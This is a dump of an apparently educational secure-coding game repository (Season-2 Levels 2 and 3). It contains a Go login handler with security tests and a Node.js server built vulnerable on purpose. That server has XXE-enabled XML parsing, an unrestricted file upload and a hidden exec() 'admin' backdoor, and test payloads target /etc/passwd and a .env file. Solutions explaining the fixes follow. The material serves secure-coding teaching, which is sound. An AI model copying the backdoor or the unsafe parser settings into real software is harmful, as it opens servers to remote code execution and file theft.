// Run them by opening a terminal and running the following: 6 | // $ go test -v Season-2/Level-2/code.go Season-2/Level-2/code_test.go 7 | 8 | // If 'go' is not found when running the above, install it from: 9 | // https://go.dev/dl/ 10 | 11 | package main 12 | 13 | import ( 14 | "net/http" 15 | "net/http/httptest" 16 | "os" 17 | "strings" 18 | "testing" 19 | "time" 20 | ) 21 | 22 | func TestLoginHandler_ValidCredentials(t *testing.T) { 23 | reqBody := `{"email": "user1@example.com", "password": "password12345"}` 24 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 25 | if err != nil { 26 | t.Fatalf("Failed to create request: %v", err) 27 | } 28 | 29 | recorder := httptest.NewRecorder() 30 | handler := http.HandlerFunc(loginHandler) 31 | handler.ServeHTTP(recorder, req) 32 | 33 | if recorder.Code != http.StatusOK { 34 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) 35 | } 36 | } 37 | 38 | func TestLoginHandler_InvalidCredentials(t *testing.T) { 39 | reqBody := `{"email": "user1@example.com", "password": "invalid_password"}` 40 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 41 | if err != nil { 42 | t.Fatalf("Failed to create request: %v", err) 43 | } 44 | 45 | recorder := httptest.NewRecorder() 46 | handler := http.HandlerFunc(loginHandler) 47 | handler.ServeHTTP(recorder, req) 48 | 49 | if recorder.Code != http.StatusUnauthorized { 50 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) 51 | } 52 | 53 | respBody := strings.TrimSpace(recorder.Body.String()) 54 | if respBody != "Invalid Email or Password" { 55 | t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody) 56 | } 57 | } 58 | 59 | func TestLoginHandler_InvalidEmailFormat(t *testing.T) { 60 | reqBody := `{"email": "invalid_email", "password": "password12345"}` 61 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 62 | if err != nil { 63 | t.Fatalf("Failed to create request: %v", err) 64 | } 65 | 66 | recorder := httptest.NewRecorder() 67 | handler := http.HandlerFunc(loginHandler) 68 | handler.ServeHTTP(recorder, req) 69 | 70 | if recorder.Code != http.StatusBadRequest { 71 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 72 | } 73 | 74 | respBody := strings.TrimSpace(recorder.Body.String()) 75 | expectedRespBody := "Invalid email format" 76 | if respBody != expectedRespBody { 77 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 78 | } 79 | } 80 | 81 | func TestLoginHandler_InvalidRequestMethod(t *testing.T) { 82 | req, err := http.NewRequest("GET", "/login", nil) 83 | if err != nil { 84 | t.Fatalf("Failed to create request: %v", err) 85 | } 86 | 87 | recorder := httptest.NewRecorder() 88 | handler := http.HandlerFunc(loginHandler) 89 | handler.ServeHTTP(recorder, req) 90 | 91 | if recorder.Code != http.StatusMethodNotAllowed { 92 | t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code) 93 | } 94 | 95 | respBody := strings.TrimSpace(recorder.Body.String()) 96 | expectedRespBody := "Invalid request method" 97 | if respBody != expectedRespBody { 98 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 99 | } 100 | } 101 | 102 | func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) { 103 | reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}` 104 | 105 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 106 | if err != nil { 107 | t.Fatalf("Failed to create request: %v", err) 108 | } 109 | 110 | recorder := httptest.NewRecorder() 111 | handler := http.HandlerFunc(loginHandler) 112 | handler.ServeHTTP(recorder, req) 113 | 114 | if recorder.Code != http.StatusBadRequest { 115 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 116 | } 117 | 118 | respBody := strings.TrimSpace(recorder.Body.String()) 119 | expectedRespBody := "Cannot decode body" 120 | if respBody != expectedRespBody { 121 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 122 | } 123 | } 124 | 125 | func TestMain(m *testing.M) { 126 | go func() { 127 | main() 128 | }() 129 | 130 | time.Sleep(500 * time.Millisecond) 131 | 132 | exitCode := m.Run() 133 | os.Exit(exitCode) 134 | } -------------------------------------------------------------------------------- /Season-2/Level-2/go.mod: -------------------------------------------------------------------------------- 1 | module secure-code-game 2 | 3 | go 1.20 -------------------------------------------------------------------------------- /Season-2/Level-2/hack_test.go: -------------------------------------------------------------------------------- 1 | // Run hack_test.go by following the instructions below: 2 | 3 | // This file exploits the vulnerabilities in code. Running this file will fail initially 4 | // (it contains failing tests). As all other levels, your goal is to get this file to pass. 5 | 6 | // Run hack by opening a terminal and running the following: 7 | // $ go test -v Season-2/Level-2/code.go Season-2/Level-2/hack_test.go 8 | 9 | // As a reminder, to pass this level, both this file alongside code_test.go must pass. 10 | 11 | // If 'go' is not found when running the above, install it from: 12 | // https://go.dev/dl/ 13 | 14 | package main 15 | 16 | import ( 17 | "bytes" 18 | "log" 19 | "net/http" 20 | "net/http/httptest" 21 | "strings" 22 | "testing" 23 | ) 24 | 25 | // If this test fails, please fix the code to prevent user enumeration (code.go) 26 | func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) { 27 | reqBody := `{"email": "invalid@example.com", "password": "password12345"}` 28 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 29 | if err != nil { 30 | t.Fatalf("Failed to create request: %v", err) 31 | } 32 | 33 | recorder := httptest.NewRecorder() 34 | handler := http.HandlerFunc(loginHandler) 35 | handler.ServeHTTP(recorder, req) 36 | 37 | if recorder.Code != http.StatusUnauthorized { 38 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) 39 | } 40 | 41 | respBody := strings.TrimSpace(recorder.Body.String()) 42 | expectedRespBody := "Invalid Email or Password" 43 | if respBody != expectedRespBody { 44 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 45 | } 46 | } 47 | 48 | // If this test fails, please fix the code to not log sensitive information (code.go) 49 | func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) { 50 | var buf bytes.Buffer 51 | log.SetOutput(&buf) 52 | 53 | reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}` 54 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 55 | if err != nil { 56 | t.Fatalf("Failed to create request: %v", err) 57 | } 58 | 59 | recorder := httptest.NewRecorder() 60 | handler := http.HandlerFunc(loginHandler) 61 | handler.ServeHTTP(recorder, req) 62 | 63 | if recorder.Code != http.StatusBadRequest { 64 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 65 | } 66 | 67 | logOutput := buf.String() 68 | expectedRespLog := "Invalid email format" 69 | if strings.Contains(logOutput, "in.valid@ex@mple.com") { 70 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) 71 | t.Fail() 72 | } 73 | } 74 | 75 | // If this test fails, please fix the code to not log sensitive information (code.go) 76 | func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) { 77 | var buf bytes.Buffer 78 | log.SetOutput(&buf) 79 | 80 | reqBody := `{"email": "user1@example.com", "password": "password12345"}` 81 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 82 | if err != nil { 83 | t.Fatalf("Failed to create request: %v", err) 84 | } 85 | 86 | recorder := httptest.NewRecorder() 87 | handler := http.HandlerFunc(loginHandler) 88 | handler.ServeHTTP(recorder, req) 89 | 90 | if recorder.Code != http.StatusOK { 91 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) 92 | } 93 | 94 | logOutput := buf.String() 95 | expectedRespLog := "Successful login request" 96 | if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") { 97 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) 98 | t.Fail() 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /Season-2/Level-2/hint-1.txt: -------------------------------------------------------------------------------- 1 | Can an attacker guess or enumerate valid emails of Lumberjack customers? 2 | 3 | Try again, without reading hint-2.txt or the CodeQL code scanning alerts ;-) -------------------------------------------------------------------------------- /Season-2/Level-2/hint-2.txt: -------------------------------------------------------------------------------- 1 | OMG! Does Lumberjack really log emails (twice in the code) and passwords (once in the code)? 2 | 3 | Try again, without reading the CodeQL code scanning alerts ;-) -------------------------------------------------------------------------------- /Season-2/Level-2/solution/go.mod: -------------------------------------------------------------------------------- 1 | module secure-code-game 2 | 3 | go 1.20 -------------------------------------------------------------------------------- /Season-2/Level-2/solution/solution.go: -------------------------------------------------------------------------------- 1 | // Solution explained: 2 | 3 | // 1) Remove the email being logged here: 4 | // log.Printf("Invalid email format: %q", email) 5 | // log.Printf("Invalid email format") 6 | 7 | // 2) Fix the error message to prevent user enumeration here: 8 | // http.Error(w, "invalid email or password", http.StatusUnauthorized) 9 | // http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) 10 | 11 | // 3) Remove the email and password being logged here: 12 | // log.Printf("User %q logged in successfully with a valid password %q", email, password) 13 | // log.Printf("Successful login request") 14 | 15 | // Full solution follows: 16 | 17 | package main 18 | 19 | import ( 20 | "encoding/json" 21 | "log" 22 | "net/http" 23 | "regexp" 24 | ) 25 | 26 | var reqBody struct { 27 | Email string `json:"email"` 28 | Password string `json:"password"` 29 | } 30 | 31 | func isValidEmail(email string) bool { 32 | // The provided regular expression pattern for email validation by OWASP 33 | // https://owasp.org/www-community/OWASP_Validation_Regex_Repository 34 | emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$` 35 | match, err := regexp.MatchString(emailPattern, email) 36 | if err != nil { 37 | return false 38 | } 39 | return match 40 | } 41 | 42 | func loginHandler(w http.ResponseWriter, r *http.Request) { 43 | 44 | // Test users 45 | var testFakeMockUsers = map[string]string{ 46 | "user1@example.com": "password12345", 47 | "user2@example.com": "B7rx9OkWVdx13$QF6Imq", 48 | "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO", 49 | "user4@example.com": "Log4Fun", 50 | } 51 | 52 | if r.Method == "POST" { 53 | 54 | decode := json.NewDecoder(r.Body) 55 | decode.DisallowUnknownFields() 56 | 57 | err := decode.Decode(&reqBody) 58 | if err != nil { 59 | http.Error(w, "Cannot decode body", http.StatusBadRequest) 60 | return 61 | } 62 | email := reqBody.Email 63 | password := reqBody.Password 64 | 65 | if !isValidEmail(email) { 66 | // Fix: Removing the email from the log 67 | // log.Printf("Invalid email format: %q", email) 68 | log.Printf("Invalid email format") 69 | http.Error(w, "Invalid email format", http.StatusBadRequest) 70 | return 71 | } 72 | 73 | storedPassword, ok := testFakeMockUsers[email] 74 | if !ok { 75 | // Fix: Correcting the message to prevent user enumeration 76 | // http.Error(w, "invalid email or password", http.StatusUnauthorized) 77 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) 78 | return 79 | } 80 | 81 | if password == storedPassword { 82 | // Fix: Removing the email and password from the log 83 | // log.Printf("User %q logged in successfully with a valid password %q", email, password) 84 | log.Printf("Successful login request") 85 | w.WriteHeader(http.StatusOK) 86 | } else { 87 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) 88 | } 89 | 90 | } else { 91 | http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) 92 | } 93 | } 94 | 95 | func main() { 96 | http.HandleFunc("/login", loginHandler) 97 | log.Print("Server started. Listening on :8080") 98 | err := http.ListenAndServe(":8080", nil) 99 | if err != nil { 100 | log.Fatalf("HTTP server ListenAndServe: %q", err) 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /Season-2/Level-2/solution/solution_test.go: -------------------------------------------------------------------------------- 1 | // Run solution_test.go by following the instructions below: 2 | 3 | // This file is a copy of code_test.go and hack_test.go 4 | // It tests the solution for failing and passing payloads 5 | 6 | // Run them by opening a terminal and running the following: 7 | // $ go test -v Season-2/Level-2/solution/solution.go Season-2/Level-2/solution/solution_test.go 8 | 9 | // If 'go' is not found when running the above, install it from: 10 | // https://go.dev/dl/ 11 | 12 | package main 13 | 14 | import ( 15 | "bytes" 16 | "log" 17 | "net/http" 18 | "net/http/httptest" 19 | "os" 20 | "strings" 21 | "testing" 22 | "time" 23 | ) 24 | 25 | func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) { 26 | reqBody := `{"email": "invalid@example.com", "password": "password12345"}` 27 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 28 | if err != nil { 29 | t.Fatalf("Failed to create request: %v", err) 30 | } 31 | 32 | recorder := httptest.NewRecorder() 33 | handler := http.HandlerFunc(loginHandler) 34 | handler.ServeHTTP(recorder, req) 35 | 36 | if recorder.Code != http.StatusUnauthorized { 37 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) 38 | } 39 | 40 | respBody := strings.TrimSpace(recorder.Body.String()) 41 | expectedRespBody := "Invalid Email or Password" 42 | if respBody != expectedRespBody { 43 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 44 | } 45 | } 46 | 47 | func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) { 48 | var buf bytes.Buffer 49 | log.SetOutput(&buf) 50 | 51 | reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}` 52 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 53 | if err != nil { 54 | t.Fatalf("Failed to create request: %v", err) 55 | } 56 | 57 | recorder := httptest.NewRecorder() 58 | handler := http.HandlerFunc(loginHandler) 59 | handler.ServeHTTP(recorder, req) 60 | 61 | if recorder.Code != http.StatusBadRequest { 62 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 63 | } 64 | 65 | logOutput := buf.String() 66 | expectedRespLog := "Invalid email format" 67 | if strings.Contains(logOutput, "in.valid@ex@mple.com") { 68 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) 69 | t.Fail() 70 | } 71 | } 72 | 73 | func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) { 74 | var buf bytes.Buffer 75 | log.SetOutput(&buf) 76 | 77 | reqBody := `{"email": "user1@example.com", "password": "password12345"}` 78 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 79 | if err != nil { 80 | t.Fatalf("Failed to create request: %v", err) 81 | } 82 | 83 | recorder := httptest.NewRecorder() 84 | handler := http.HandlerFunc(loginHandler) 85 | handler.ServeHTTP(recorder, req) 86 | 87 | if recorder.Code != http.StatusOK { 88 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) 89 | } 90 | 91 | logOutput := buf.String() 92 | expectedRespLog := "Successful login request" 93 | if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") { 94 | t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) 95 | t.Fail() 96 | } 97 | } 98 | 99 | func TestLoginHandler_ValidCredentials(t *testing.T) { 100 | reqBody := `{"email": "user1@example.com", "password": "password12345"}` 101 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 102 | if err != nil { 103 | t.Fatalf("Failed to create request: %v", err) 104 | } 105 | 106 | recorder := httptest.NewRecorder() 107 | handler := http.HandlerFunc(loginHandler) 108 | handler.ServeHTTP(recorder, req) 109 | 110 | if recorder.Code != http.StatusOK { 111 | t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) 112 | } 113 | } 114 | 115 | func TestLoginHandler_InvalidCredentials(t *testing.T) { 116 | reqBody := `{"email": "user1@example.com", "password": "invalid_password"}` 117 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 118 | if err != nil { 119 | t.Fatalf("Failed to create request: %v", err) 120 | } 121 | 122 | recorder := httptest.NewRecorder() 123 | handler := http.HandlerFunc(loginHandler) 124 | handler.ServeHTTP(recorder, req) 125 | 126 | if recorder.Code != http.StatusUnauthorized { 127 | t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) 128 | } 129 | 130 | respBody := strings.TrimSpace(recorder.Body.String()) 131 | if respBody != "Invalid Email or Password" { 132 | t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody) 133 | } 134 | } 135 | 136 | func TestLoginHandler_InvalidEmailFormat(t *testing.T) { 137 | reqBody := `{"email": "invalid_email", "password": "password12345"}` 138 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 139 | if err != nil { 140 | t.Fatalf("Failed to create request: %v", err) 141 | } 142 | 143 | recorder := httptest.NewRecorder() 144 | handler := http.HandlerFunc(loginHandler) 145 | handler.ServeHTTP(recorder, req) 146 | 147 | if recorder.Code != http.StatusBadRequest { 148 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 149 | } 150 | 151 | respBody := strings.TrimSpace(recorder.Body.String()) 152 | expectedRespBody := "Invalid email format" 153 | if respBody != expectedRespBody { 154 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 155 | } 156 | } 157 | 158 | func TestLoginHandler_InvalidRequestMethod(t *testing.T) { 159 | req, err := http.NewRequest("GET", "/login", nil) 160 | if err != nil { 161 | t.Fatalf("Failed to create request: %v", err) 162 | } 163 | 164 | recorder := httptest.NewRecorder() 165 | handler := http.HandlerFunc(loginHandler) 166 | handler.ServeHTTP(recorder, req) 167 | 168 | if recorder.Code != http.StatusMethodNotAllowed { 169 | t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code) 170 | } 171 | 172 | respBody := strings.TrimSpace(recorder.Body.String()) 173 | expectedRespBody := "Invalid request method" 174 | if respBody != expectedRespBody { 175 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 176 | } 177 | } 178 | 179 | func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) { 180 | reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}` 181 | 182 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) 183 | if err != nil { 184 | t.Fatalf("Failed to create request: %v", err) 185 | } 186 | 187 | recorder := httptest.NewRecorder() 188 | handler := http.HandlerFunc(loginHandler) 189 | handler.ServeHTTP(recorder, req) 190 | 191 | if recorder.Code != http.StatusBadRequest { 192 | t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) 193 | } 194 | 195 | respBody := strings.TrimSpace(recorder.Body.String()) 196 | expectedRespBody := "Cannot decode body" 197 | if respBody != expectedRespBody { 198 | t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) 199 | } 200 | } 201 | 202 | func TestMain(m *testing.M) { 203 | go func() { 204 | main() 205 | }() 206 | 207 | time.Sleep(500 * time.Millisecond) 208 | 209 | exitCode := m.Run() 210 | os.Exit(exitCode) 211 | } 212 | 213 | // Contribute new levels to the game in 3 simple steps! 214 | // Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md -------------------------------------------------------------------------------- /Season-2/Level-3/.env.production: -------------------------------------------------------------------------------- 1 | QWERTY1234567890 -------------------------------------------------------------------------------- /Season-2/Level-3/code.js: -------------------------------------------------------------------------------- 1 | // Welcome to Secure Code Game Season-2/Level-3! 2 | 3 | // Follow the instructions below to get started: 4 | 5 | // 1. test.js is passing but the code here is vulnerable 6 | // 2. Review the code. Can you spot the bugs(s)? 7 | // 3. Fix the code.js but ensure that test.js passes 8 | // 4. Run hack.js and if passing then CONGRATS! 9 | // 5. If stuck then read the hint 10 | // 6. Compare your solution with solution.js 11 | 12 | const express = require("express"); 13 | const bodyParser = require("body-parser"); 14 | const libxmljs = require("libxmljs"); 15 | const multer = require("multer"); 16 | const path = require("path"); 17 | const fs = require("fs"); 18 | const { exec } = require("node:child_process"); 19 | const app = express(); 20 | 21 | app.use(bodyParser.json()); 22 | app.use(bodyParser.text({ type: "application/xml" })); 23 | 24 | const storage = multer.memoryStorage(); 25 | const upload = multer({ storage }); 26 | 27 | app.post("/ufo/upload", upload.single("file"), (req, res) => { 28 | if (!req.file) { 29 | return res.status(400).send("No file uploaded."); 30 | } 31 | 32 | console.log("Received uploaded file:", req.file.originalname); 33 | 34 | const uploadedFilePath = path.join(__dirname, req.file.originalname); 35 | fs.writeFileSync(uploadedFilePath, req.file.buffer); 36 | 37 | res.status(200).send("File uploaded successfully."); 38 | }); 39 | 40 | app.post("/ufo", (req, res) => { 41 | const contentType = req.headers["content-type"]; 42 | 43 | if (contentType === "application/json") { 44 | console.log("Received JSON data:", req.body); 45 | res.status(200).json({ ufo: "Received JSON data from an unknown planet." }); 46 | } else if (contentType === "application/xml") { 47 | try { 48 | const xmlDoc = libxmljs.parseXml(req.body, { 49 | replaceEntities: true, 50 | recover: true, 51 | nonet: false, 52 | }); 53 | 54 | console.log("Received XML data from XMLon:", xmlDoc.toString()); 55 | 56 | const extractedContent = []; 57 | 58 | xmlDoc 59 | .root() 60 | .childNodes() 61 | .forEach((node) => { 62 | if (node.type() === "element") { 63 | extractedContent.push(node.text()); 64 | } 65 | }); 66 | 67 | // Secret feature to allow an "admin" to execute commands 68 | if ( 69 | xmlDoc.toString().includes('SYSTEM "') && 70 | xmlDoc.toString().includes(".admin") 71 | ) { 72 | extractedContent.forEach((command) => { 73 | exec(command, (err, output) => { 74 | if (err) { 75 | console.error("could not execute command: ", err); 76 | return; 77 | } 78 | console.log("Output: \n", output); 79 | res.status(200).set("Content-Type", "text/plain").send(output); 80 | }); 81 | }); 82 | } else { 83 | res 84 | .status(200) 85 | .set("Content-Type", "text/plain") 86 | .send(extractedContent.join(" ")); 87 | } 88 | } catch (error) { 89 | console.error("XML parsing or validation error:", error.message); 90 | res.status(400).send("Invalid XML: " + error.message); 91 | } 92 | } else { 93 | res.status(405).send("Unsupported content type"); 94 | } 95 | }); 96 | 97 | const PORT = process.env.PORT || 3000; 98 | const server = app.listen(PORT, () => { 99 | console.log(`Server is running on port ${PORT}`); 100 | }); 101 | 102 | module.exports = server; -------------------------------------------------------------------------------- /Season-2/Level-3/hack.admin: -------------------------------------------------------------------------------- 1 | ls -al -------------------------------------------------------------------------------- /Season-2/Level-3/hack.js: -------------------------------------------------------------------------------- 1 | // Run hack.js by following the instructions below: 2 | 3 | // Run file by opening a terminal and running the following: 4 | // $ mocha Season-2/Level-3/hack.js 5 | 6 | // If you're inside a Codespace, the above should be running smoothly. 7 | 8 | // In case you're running this locally, please run the following command first, 9 | // and then run the hack file: 10 | // $ npm install Season-2/Level-3/ && npm install --global mocha 11 | 12 | const app = require("./code"); 13 | // const app = require("./solution"); // To test the solution, uncomment this line and comment the one above 14 | const request = require("supertest"); 15 | const { expect } = require("chai"); 16 | 17 | describe("Security tests", () => { 18 | it("should handle XML payload safely (no XXE)", (done) => { 19 | const xmlPayload = ` 20 | 21 | ]> 22 | &xxe; 23 | `; 24 | 25 | request(app) 26 | .post("/ufo") 27 | .set("Content-Type", "application/xml") 28 | .send(xmlPayload) 29 | .expect(400) // Expecting a 400 response due to security measures 30 | .end((err, res) => { 31 | if (err) return done(err + "\n" + res.text); 32 | expect(res.text).to.include("Invalid XML"); 33 | done(); 34 | }); 35 | }); 36 | 37 | it("should handle malicious XXE payload to access /etc/passwd safely", (done) => { 38 | const maliciousXmlPayload = ` 39 | 40 | 42 | ]> 43 | &xxe; 44 | `; 45 | 46 | request(app) 47 | .post("/ufo") 48 | .set("Content-Type", "application/xml") 49 | .send(maliciousXmlPayload) 50 | .expect(400) // Expecting a 400 response due to security measures 51 | .end((err, res) => { 52 | if (err) return done(err + "\n" + res.text); 53 | expect(res.text).to.include("Invalid XML"); 54 | done(); 55 | }); 56 | }); 57 | 58 | it("should handle malicious XXE payload to access a .env file safely", (done) => { 59 | const maliciousXmlPayload = ` 60 | 61 | 63 | ]> 64 | &xxe; 65 | `; 66 | 67 | request(app) 68 | .post("/ufo") 69 | .set("Content-Type", "application/xml") 70 | .send(maliciousXmlPayload) 71 | .expect(400) // Expecting a 400 response due to security measures 72 | .end((err, res) => { 73 | if (err) return done(err + "\n" + res.text); 74 | expect(res.text).to.include("Invalid XML"); 75 | done(); 76 | }); 77 | }); 78 | 79 | describe("POST /ufo", () => { 80 | it("should handle malicious XXE payload to access a .admin file safely", (done) => { 81 | const xmlPayload = ` 82 | 84 | ]> 85 | &xxe;`; 86 | 87 | request(app) 88 | .post("/ufo") 89 | .set("Content-Type", "application/xml") 90 | .send(xmlPayload) 91 | .expect(400) // Expecting a 400 response due to security measures 92 | .end((err, res) => { 93 | if (err) return done(err + "\n" + res.text); 94 | expect(res.text).to.include("Invalid XML"); 95 | done(); 96 | }); 97 | }); 98 | }); 99 | 100 | it("should handle the provided XXE payload safely", (done) => { 101 | const providedXmlPayload = ` 102 | 103 | 105 | 106 | 107 | ]> 108 | &xxe2; 109 | `; 110 | 111 | request(app) 112 | .post("/ufo") 113 | .set("Content-Type", "application/xml") 114 | .send(providedXmlPayload) 115 | .expect(400) // Expecting a 400 response due to security measures 116 | .end((err, res) => { 117 | if (err) return done(err + "\n" + res.text); 118 | expect(res.text).to.include("Invalid XML"); 119 | done(); 120 | }); 121 | }); 122 | }); 123 | 124 | after(() => { 125 | app.close(); 126 | }); -------------------------------------------------------------------------------- /Season-2/Level-3/hint.txt: -------------------------------------------------------------------------------- 1 | Entities are primarily used to make XML documents more modular, maintainable, and efficient. 2 | Hackers always look for unconventional ways of exploiting a feature. 3 | 4 | Especially if that feature (replaceEntities) allows them to retrieve file contents from the server. 5 | The server also appears to behave differently when retrieving files with a specific extension. 6 | 7 | Can you trick the server into uploading files with that special extension and.. have an impact to what this code does? 8 | But do we really need the upload endpoint? Why did the developer create it in the first place? -------------------------------------------------------------------------------- /Season-2/Level-3/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "PlanetXMLon", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "code.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "body-parser": "^1.20.3", 14 | "express": "^4.21.2", 15 | "fs": "^0.0.1-security", 16 | "libxmljs": "^1.0.9", 17 | "multer": "^1.4.5-lts.1", 18 | "path": "^0.12.7" 19 | }, 20 | "devDependencies": { 21 | "chai": "^4.3.8", 22 | "mocha": "^10.2.0", 23 | "supertest": "^6.3.3" 24 | } 25 | } -------------------------------------------------------------------------------- /Season-2/Level-3/solution.js: -------------------------------------------------------------------------------- 1 | // Contribute new levels to the game in 3 simple steps! 2 | // Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 3 | 4 | const express = require("express"); 5 | const bodyParser = require("body-parser"); 6 | const libxmljs = require("libxmljs"); 7 | const multer = require("multer"); 8 | const app = express(); 9 | 10 | app.use(bodyParser.json()); 11 | app.use(bodyParser.text({ type: "application/xml" })); 12 | 13 | const storage = multer.memoryStorage(); 14 | const upload = multer({ storage }); 15 | 16 | app.post("/ufo/upload", upload.single("file"), (req, res) => { 17 | return res.status(501).send("Not Implemented."); 18 | // We don't need this feature/endpoint, it's a backdoor! 19 | // Removing this prevents an attacker to perform a Remote Code Execution 20 | // by uploading a file with a .admin extension that is then executed on the server. 21 | // The best code is less code. If you don't need something, don't include it. 22 | }); 23 | 24 | app.post("/ufo", (req, res) => { 25 | const contentType = req.headers["content-type"]; 26 | 27 | if (contentType === "application/json") { 28 | console.log("Received JSON data:", req.body); 29 | res.status(200).json({ ufo: "Received JSON data from an unknown planet." }); 30 | } else if (contentType === "application/xml") { 31 | try { 32 | const xmlDoc = libxmljs.parseXml(req.body, { 33 | replaceEntities: false, // Disabled the option to replace XML entities 34 | recover: false, // Disabled the parser to recover from certain parsing errors 35 | nonet: true, // Disabled network access when parsing 36 | }); 37 | 38 | console.log("Received XML data from XMLon:", xmlDoc.toString()); 39 | 40 | const extractedContent = []; 41 | 42 | xmlDoc 43 | .root() 44 | .childNodes() 45 | .forEach((node) => { 46 | if (node.type() === "element") { 47 | extractedContent.push(node.text()); 48 | } 49 | }); 50 | 51 | if ( 52 | xmlDoc.toString().includes('SYSTEM "') && 53 | xmlDoc.toString().includes(".admin") 54 | ) { 55 | // Removed the code to execute commands within the .admin file on the server 56 | res.status(400).send("Invalid XML"); 57 | } else { 58 | res 59 | .status(200) 60 | .set("Content-Type", "text/plain") 61 | .send(extractedContent.join(" ")); 62 | } 63 | } catch (error) { 64 | console.error("XML parsing or validation error"); 65 | res.status(400).send("Invalid XML"); 66 | } 67 | } else { 68 | res.status(405).send("Unsupported content type"); 69 | } 70 | }); 71 | 72 | const PORT = process.env.PORT || 3000; 73 | const server = app.listen(PORT, () => { 74 | console.log(`Server is running on port ${PORT}`); 75 | }); 76 | 77 | module.exports = server; 78 | 79 | // Solution explanation: 80 | 81 | // Parsing data can cause XXE (XML External Entity) vulnerabilities due to the way XML 82 | // documents are processed allowing attackers to inject malicious external entities. 83 | 84 | // To fix this issue, we need to edit the XMLParseOptions to: 85 | // - Disable the option to replace XML entities (replaceEntities: false) 86 | // - Disable the parser to recover from certain parsing errors (recover: false) 87 | // - Disabled network access when parsing (nonet: true) 88 | 89 | // Trusting client inputs in any form (request body, query parameter or uploaded file data) 90 | // can be really dangerous and even lead to a Remote Code Execution (RCE) vulnerability. 91 | 92 | // To fix this issue, we need to: 93 | // - Remove the unnecessary file upload endpoint that allows you to upload any filetypes 94 | // - Remove the feature that executes a command on the server coming from a file 95 | // with the .admin extension parsed as an XML "SYSTEM" entity. -------------------------------------------------------------------------------- /Season-2/Level-3/tests.js: -------------------------------------------------------------------------------- 1 | // Run tests.js by following the instructions below: 2 | 3 | // Run file by opening a terminal 